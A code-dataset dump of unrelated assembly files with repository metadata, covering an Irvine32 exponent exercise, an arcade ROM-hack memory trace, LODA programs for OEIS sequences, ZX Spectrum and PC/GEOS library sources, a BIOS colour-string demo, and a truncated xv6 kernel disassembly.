Assembly/Exercise code/3.asm

XU-99/ONE

bd4c118d044941849c5a1357a7025859e091d32a

[ "MIT" ]

null

INCLUDE Irvine32.inc .data Message byte "please enter first number = ",0 Message2 byte "please enter second number = ",0 Message3 byte "N^M = ",0 m byte ? n byte ? s byte 0 .code main PROC call Clrscr mov edx,offset Message call WriteString call ReadInt mov n,al call crlf mov edx,offset Message2 call WriteString call ReadInt mov m,al cmp m,1 jz Line dec m mov al,n mov ecx,0 mov cl,m L1: mul n loop L1 jmp Out_0 Out_0: call crlf mov edx,offset Message3 call WriteString call WriteDec call crlf exit Line: mov al,n jmp Out_0 main ENDP END main

15.90566

55

0.492289

3319a301bde2631d1030529c2a734113fdbf47de

3,202

asm

Assembly

dino/lcs/123p/1E.asm

zengfr/arcade_game_romhacking_sourcecode_top_secret_data

a4a0c86c200241494b3f1834cd0aef8dc02f7683

[ "Apache-2.0" ]

6

2020-10-14T15:29:10.000Z

2022-02-12T18:58:54.000Z

dino/lcs/123p/1E.asm

zengfr/arcade_game_romhacking_sourcecode_top_secret_data

a4a0c86c200241494b3f1834cd0aef8dc02f7683

[ "Apache-2.0" ]

null

dino/lcs/123p/1E.asm

zengfr/arcade_game_romhacking_sourcecode_top_secret_data

a4a0c86c200241494b3f1834cd0aef8dc02f7683

[ "Apache-2.0" ]

1

2020-12-17T08:59:10.000Z

copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 0018CE add.w ($1e,A6), D0 [123p+ 18, enemy+18, item+18] 0018D2 move.w D0, ($18,A6) [123p+ 1E, enemy+1E, item+1E] 004D94 move.l D1, (A1)+ 004D96 dbra D0, $4d94 00539C move.w (A0), ($1e,A6) [123p+ 18] 0053A0 rts 018CA8 move.l D0, ($1c,A6) 018CAC clr.b ($116,A6) 019140 move.w D0, ($1e,A6) 019144 move.b D0, ($25,A6) 01976C move.w D0, ($1e,A6) 019770 move.b D0, ($25,A6) 019D30 move.w D0, ($1e,A6) 019D34 move.w D0, ($16,A6) 01A9EE move.w D0, ($1e,A6) 01A9F2 move.b #$e, ($58,A6) 01AA9E move.w D0, ($1e,A6) 01AAA2 move.b #$14, ($c8,A6) 01AB3A move.w D0, ($1e,A6) 01AB3E move.b #$1, ($51,A6) 01AC02 move.w D0, ($1e,A6) 01AC06 lea ($1322,PC) ; ($1bf2a), A0 01AE70 move.w D0, ($1e,A6) 01AE74 move.w D0, ($14,A6) 01AF96 move.w D0, ($1e,A6) 01AF9A move.w #$500, ($14,A6) 01B6A4 move.w D0, ($1e,A6) 01B6A8 move.b D0, ($25,A6) 01B772 move.w D0, ($1e,A6) 01B776 lea ($78e,PC) ; ($1bf06), A0 01B8CE move.w D0, ($1e,A6) 01B8D2 lea ($63a,PC) ; ($1bf0e), A0 01B9C2 move.w D0, ($1e,A6) 01B9C6 lea ($54e,PC) ; ($1bf16), A0 01C25A move.w D0, ($1e,A6) 01C25E moveq #$2, D0 01C43A move.w D0, ($1e,A6) 01C43E moveq #$2, D0 01C60E move.w D0, ($1e,A6) 01C612 clr.w ($b6,A6) 01C790 move.w D0, ($1e,A6) 01C794 jsr $16446.l 01C9A2 move.w D0, ($1e,A6) 01C9A6 jsr $98cc.l 01CC84 move.w D0, ($1e,A6) 01CC88 moveq #$2, D0 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack

50.03125

350

0.621799

30de65680c3545f148b188383c261f2a132771e6

711

asm

Assembly

programs/oeis/033/A033044.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/033/A033044.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/033/A033044.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A033044: Sums of distinct powers of 7. ; 0,1,7,8,49,50,56,57,343,344,350,351,392,393,399,400,2401,2402,2408,2409,2450,2451,2457,2458,2744,2745,2751,2752,2793,2794,2800,2801,16807,16808,16814,16815,16856,16857,16863,16864,17150,17151,17157,17158,17199,17200,17206,17207,19208,19209,19215,19216,19257,19258,19264,19265,19551,19552,19558,19559,19600,19601,19607,19608,117649,117650,117656,117657,117698,117699,117705,117706,117992,117993,117999,118000,118041,118042,118048,118049,120050,120051,120057,120058,120099,120100,120106,120107,120393,120394,120400,120401,120442,120443,120449,120450,134456,134457,134463,134464 add $0,8190 seq $0,32928 ; Numbers whose set of base 7 digits is {1,2}. sub $0,16148168401

101.571429

577

0.801688

1fdd1d239ad75a2b35af9dcba60b617e98c53522

405

asm

Assembly

libsrc/spectrum/opus/get_kempston.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

null

libsrc/spectrum/opus/get_kempston.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

null

libsrc/spectrum/opus/get_kempston.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

1

2019-12-03T23:57:48.000Z

; ; ZX Spectrum OPUS DISCOVERY specific routines ; ; Stefano Bodrato - Jun. 2006 ; ; This routine get the kempston joystick emulation status. ; ; $Id: get_kempston.asm,v 1.3 2016/06/27 19:16:33 dom Exp $ ; SECTION code_clib PUBLIC get_kempston PUBLIC _get_kempston get_kempston: _get_kempston: call $1708 ; page_in ld a,($3000) and 128 ld hl,0 and a jr z,pageout inc hl .pageout jp $1748

15

59

0.718519

d9c56a1402b711c34aadb6e9ff3fe9b9a0292024

2,884

asm

Assembly

Library/Ruler/rulerManager.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

504

2018-11-18T03:35:53.000Z

2022-03-29T01:02:51.000Z

Library/Ruler/rulerManager.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

96

2018-11-19T21:06:50.000Z

2022-03-06T10:26:48.000Z

Library/Ruler/rulerManager.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

73

2018-11-19T20:46:53.000Z

2022-03-29T00:59:26.000Z

COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: GeoCalc FILE: rulerManager.asm AUTHOR: Gene Anderson, Jun 13, 1991 REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 6/13/91 Initial revision DESCRIPTION: $Id: rulerManager.asm,v 1.1 97/04/07 10:42:40 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;------------------------------------------------------------------------------ ; common include files ;------------------------------------------------------------------------------ include geos.def include ec.def include library.def include lmem.def include vm.def include system.def include resource.def include geode.def include heap.def include initfile.def ;------------------------------------------------------------------------------ ; stuff we need ;------------------------------------------------------------------------------ include char.def include graphics.def include geoworks.def include Internal/prodFeatures.def ;------------------------------------------------------------------------------ ; library stuff ;------------------------------------------------------------------------------ UseLib ui.def DefLib ruler.def ;------------------------------------------------------------------------------ ; Classes ;------------------------------------------------------------------------------ RulerClassStructures segment resource VisRulerClass ;declare the class record RulerContentClass RulerViewClass RulerTypeControlClass GuideCreateControlClass RulerGuideControlClass RulerGridControlClass RulerClassStructures ends ;------------------------------------------------------------------------------ ; Definitions ;------------------------------------------------------------------------------ include rulerConstant.def include rulerMacro.def ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ if not NO_CONTROLLERS ; ; if NO_CONTROLLERS, there is no resource left in ui files. ; -- kho, July 19. 1995 ; include ruler.rdef endif include rulerTables.asm include rulerDraw.asm include rulerUtils.asm include rulerGrid.asm include rulerGuide.asm include rulerConstrain.asm include rulerMethods.asm include rulerContent.asm include rulerView.asm include rulerSelect.asm include rulerC.asm ; ; Controller code ; if not NO_CONTROLLERS include uiControlCommon.asm include uiRulerTypeControl.asm include uiGuideCreateControl.asm include uiRulerGuideControl.asm include uiGridSpacingControl.asm endif include uiRulerShow.asm

25.522124

80

0.459085

c11e6ea5ec7b3ea46da2a9ed572161c6b482a143

2,291

asm

Assembly

programs/oeis/157/A157761.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

1

2021-03-15T11:38:20.000Z

programs/oeis/157/A157761.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/157/A157761.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

; A157761: a(n) = 297754*n - 53000. ; 244754,542508,840262,1138016,1435770,1733524,2031278,2329032,2626786,2924540,3222294,3520048,3817802,4115556,4413310,4711064,5008818,5306572,5604326,5902080,6199834,6497588,6795342,7093096,7390850,7688604,7986358,8284112,8581866,8879620,9177374,9475128,9772882,10070636,10368390,10666144,10963898,11261652,11559406,11857160,12154914,12452668,12750422,13048176,13345930,13643684,13941438,14239192,14536946,14834700,15132454,15430208,15727962,16025716,16323470,16621224,16918978,17216732,17514486,17812240,18109994,18407748,18705502,19003256,19301010,19598764,19896518,20194272,20492026,20789780,21087534,21385288,21683042,21980796,22278550,22576304,22874058,23171812,23469566,23767320,24065074,24362828,24660582,24958336,25256090,25553844,25851598,26149352,26447106,26744860,27042614,27340368,27638122,27935876,28233630,28531384,28829138,29126892,29424646,29722400,30020154,30317908,30615662,30913416,31211170,31508924,31806678,32104432,32402186,32699940,32997694,33295448,33593202,33890956,34188710,34486464,34784218,35081972,35379726,35677480,35975234,36272988,36570742,36868496,37166250,37464004,37761758,38059512,38357266,38655020,38952774,39250528,39548282,39846036,40143790,40441544,40739298,41037052,41334806,41632560,41930314,42228068,42525822,42823576,43121330,43419084,43716838,44014592,44312346,44610100,44907854,45205608,45503362,45801116,46098870,46396624,46694378,46992132,47289886,47587640,47885394,48183148,48480902,48778656,49076410,49374164,49671918,49969672,50267426,50565180,50862934,51160688,51458442,51756196,52053950,52351704,52649458,52947212,53244966,53542720,53840474,54138228,54435982,54733736,55031490,55329244,55626998,55924752,56222506,56520260,56818014,57115768,57413522,57711276,58009030,58306784,58604538,58902292,59200046,59497800,59795554,60093308,60391062,60688816,60986570,61284324,61582078,61879832,62177586,62475340,62773094,63070848,63368602,63666356,63964110,64261864,64559618,64857372,65155126,65452880,65750634,66048388,66346142,66643896,66941650,67239404,67537158,67834912,68132666,68430420,68728174,69025928,69323682,69621436,69919190,70216944,70514698,70812452,71110206,71407960,71705714,72003468,72301222,72598976,72896730,73194484,73492238,73789992,74087746,74385500 mov $1,$0 mul $1,297754 add $1,244754

327.285714

2,215

0.877346

c6e1a5cf1a2a83239648ae36b33333c5f27d660d

680

asm

Assembly

oeis/330/A330317.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/330/A330317.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/330/A330317.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A330317: a(n) = Sum_{i=0..n} r(i)*r(i+1), where r(n) = A004018(n) is the number of ways of writing n as a sum of two squares. ; Submitted by Jon Maiga ; 4,20,20,20,52,52,52,52,68,100,100,100,100,100,100,100,132,164,164,164,164,164,164,164,164,260,260,260,260,260,260,260,260,260,260,260,292,292,292,292,356,356,356,356,356,356,356,356,356,404,404,404,468,468,468,468,468,468,468,468,468,468,468,468,532,532,532 mov $1,$0 mov $3,$0 add $3,1 lpb $3 mov $0,$1 sub $3,1 sub $0,$3 add $0,1 bin $0,2 seq $0,4018 ; Theta series of square lattice (or number of ways of writing n as a sum of 2 squares). Often denoted by r(n) or r_2(n). mul $0,4 add $2,$0 lpe mov $0,$2

35.789474

259

0.660294

35438cd1a6d9d45bc6b553ac0ac9a1a24311d6a8

1,237

asm

Assembly

Irvine/Examples/ch16/ColorSt2.asm

alieonsido/ASM_TESTING

4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7

[ "Apache-2.0" ]

null

Irvine/Examples/ch16/ColorSt2.asm

alieonsido/ASM_TESTING

4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7

[ "Apache-2.0" ]

null

Irvine/Examples/ch16/ColorSt2.asm

alieonsido/ASM_TESTING

4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7

[ "Apache-2.0" ]

null

TITLE Color String Example (ColorSt2.asm) Comment ! Demonstrates INT 10h function 13h, which writes a string containing embedded attribute bytes to the video display. The write mode values in AL are: 0 = string contains only character codes; cursor not updated after write, and attribute is in BL. 1 = string contains only character codes; cursor is updated after write, and attribute is in BL. 2 = string contains alternating character codes and attribute bytes; cursor position not updated after write. 3 = string contains alternating character codes and attribute bytes; cursor position is updated after write. ; Last update: 06/01/2006 ! INCLUDE Irvine16.inc .data colorString BYTE 'A',1Fh,'B',1Ch,'C',1Bh,'D',1Ch row BYTE 10 column BYTE 20 .code main PROC mov ax,@data mov ds,ax call ClrScr mov ax,SEG colorString mov es,ax mov ah,13h ; write string mov al,2 ; write mode mov bh,0 ; video page mov cx,(SIZEOF colorString) / 2 ; string length mov dh,row ; start row mov dl,column ; start column mov bp,OFFSET colorString ; ES:BP points to string int 10h mov ah,2 ; home the cursor mov dx,0 int 10h exit main ENDP END main

23.339623

54

0.703314

8f111b3573f346fbfa2f06c63c47a165223ca3bd

598,624

asm

Assembly

kernel.asm

ngp111/xv6-SPOS-Proj

411fd6cd9de857081da8e289918a6e6b9e09820e

[ "MIT-0" ]

null

kernel.asm

ngp111/xv6-SPOS-Proj

411fd6cd9de857081da8e289918a6e6b9e09820e

[ "MIT-0" ]

null

kernel.asm

ngp111/xv6-SPOS-Proj

411fd6cd9de857081da8e289918a6e6b9e09820e

[ "MIT-0" ]

null

kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 a0 2e 10 80 mov $0x80102ea0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 0c sub $0xc,%esp initlock(&bcache.lock, "bcache"); 8010004c: 68 00 70 10 80 push $0x80107000 80100051: 68 c0 b5 10 80 push $0x8010b5c0 80100056: e8 75 42 00 00 call 801042d0 <initlock> bcache.head.prev = &bcache.head; 8010005b: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 80100062: fc 10 80 bcache.head.next = &bcache.head; 80100065: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 8010006c: fc 10 80 8010006f: 83 c4 10 add $0x10,%esp 80100072: ba bc fc 10 80 mov $0x8010fcbc,%edx 80100077: eb 09 jmp 80100082 <binit+0x42> 80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 c3 mov %eax,%ebx b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100082: 8d 43 0c lea 0xc(%ebx),%eax 80100085: 83 ec 08 sub $0x8,%esp b->next = bcache.head.next; 80100088: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 07 70 10 80 push $0x80107007 80100097: 50 push %eax 80100098: e8 03 41 00 00 call 801041a0 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 10 fd 10 80 mov 0x8010fd10,%eax for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 83 c4 10 add $0x10,%esp 801000a5: 89 da mov %ebx,%edx bcache.head.next->prev = b; 801000a7: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax bcache.head.next = b; 801000b0: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 3d bc fc 10 80 cmp $0x8010fcbc,%eax 801000bb: 72 c3 jb 80100080 <binit+0x40> } } 801000bd: 8b 5d fc mov -0x4(%ebp),%ebx 801000c0: c9 leave 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 18 sub $0x18,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi 801000dc: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000df: 68 c0 b5 10 80 push $0x8010b5c0 801000e4: e8 27 43 00 00 call 80104410 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000e9: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000ef: 83 c4 10 add $0x10,%esp 801000f2: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f8: 75 11 jne 8010010b <bread+0x3b> 801000fa: eb 24 jmp 80100120 <bread+0x50> 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 60 jmp 80100190 <bread+0xc0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 55 je 80100190 <bread+0xc0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 c0 b5 10 80 push $0x8010b5c0 80100162: e8 69 43 00 00 call 801044d0 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 6e 40 00 00 call 801041e0 <acquiresleep> 80100172: 83 c4 10 add $0x10,%esp struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 75 0c jne 80100186 <bread+0xb6> iderw(b); 8010017a: 83 ec 0c sub $0xc,%esp 8010017d: 53 push %ebx 8010017e: e8 9d 1f 00 00 call 80102120 <iderw> 80100183: 83 c4 10 add $0x10,%esp } return b; } 80100186: 8d 65 f4 lea -0xc(%ebp),%esp 80100189: 89 d8 mov %ebx,%eax 8010018b: 5b pop %ebx 8010018c: 5e pop %esi 8010018d: 5f pop %edi 8010018e: 5d pop %ebp 8010018f: c3 ret panic("bget: no buffers"); 80100190: 83 ec 0c sub $0xc,%esp 80100193: 68 0e 70 10 80 push $0x8010700e 80100198: e8 f3 01 00 00 call 80100390 <panic> 8010019d: 8d 76 00 lea 0x0(%esi),%esi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 10 sub $0x10,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 50 push %eax 801001ae: e8 cd 40 00 00 call 80104280 <holdingsleep> 801001b3: 83 c4 10 add $0x10,%esp 801001b6: 85 c0 test %eax,%eax 801001b8: 74 0f je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001ba: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bd: 89 5d 08 mov %ebx,0x8(%ebp) } 801001c0: 8b 5d fc mov -0x4(%ebp),%ebx 801001c3: c9 leave iderw(b); 801001c4: e9 57 1f 00 00 jmp 80102120 <iderw> panic("bwrite"); 801001c9: 83 ec 0c sub $0xc,%esp 801001cc: 68 1f 70 10 80 push $0x8010701f 801001d1: e8 ba 01 00 00 call 80100390 <panic> 801001d6: 8d 76 00 lea 0x0(%esi),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001e8: 83 ec 0c sub $0xc,%esp 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 56 push %esi 801001ef: e8 8c 40 00 00 call 80104280 <holdingsleep> 801001f4: 83 c4 10 add $0x10,%esp 801001f7: 85 c0 test %eax,%eax 801001f9: 74 66 je 80100261 <brelse+0x81> panic("brelse"); releasesleep(&b->lock); 801001fb: 83 ec 0c sub $0xc,%esp 801001fe: 56 push %esi 801001ff: e8 3c 40 00 00 call 80104240 <releasesleep> acquire(&bcache.lock); 80100204: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010020b: e8 00 42 00 00 call 80104410 <acquire> b->refcnt--; 80100210: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100213: 83 c4 10 add $0x10,%esp b->refcnt--; 80100216: 83 e8 01 sub $0x1,%eax if (b->refcnt == 0) { 80100219: 85 c0 test %eax,%eax b->refcnt--; 8010021b: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 8010021e: 75 2f jne 8010024f <brelse+0x6f> // no one is waiting for it. b->next->prev = b->prev; 80100220: 8b 43 54 mov 0x54(%ebx),%eax 80100223: 8b 53 50 mov 0x50(%ebx),%edx 80100226: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 80100229: 8b 43 50 mov 0x50(%ebx),%eax 8010022c: 8b 53 54 mov 0x54(%ebx),%edx 8010022f: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100232: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 80100237: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 8010023e: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100241: a1 10 fd 10 80 mov 0x8010fd10,%eax 80100246: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 80100249: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 8010024f: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 80100256: 8d 65 f8 lea -0x8(%ebp),%esp 80100259: 5b pop %ebx 8010025a: 5e pop %esi 8010025b: 5d pop %ebp release(&bcache.lock); 8010025c: e9 6f 42 00 00 jmp 801044d0 <release> panic("brelse"); 80100261: 83 ec 0c sub $0xc,%esp 80100264: 68 26 70 10 80 push $0x80107026 80100269: e8 22 01 00 00 call 80100390 <panic> 8010026e: 66 90 xchg %ax,%ax 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 28 sub $0x28,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 57 push %edi 80100280: e8 db 14 00 00 call 80101760 <iunlock> target = n; acquire(&cons.lock); 80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028c: e8 7f 41 00 00 call 80104410 <acquire> while(n > 0){ 80100291: 8b 5d 10 mov 0x10(%ebp),%ebx 80100294: 83 c4 10 add $0x10,%esp 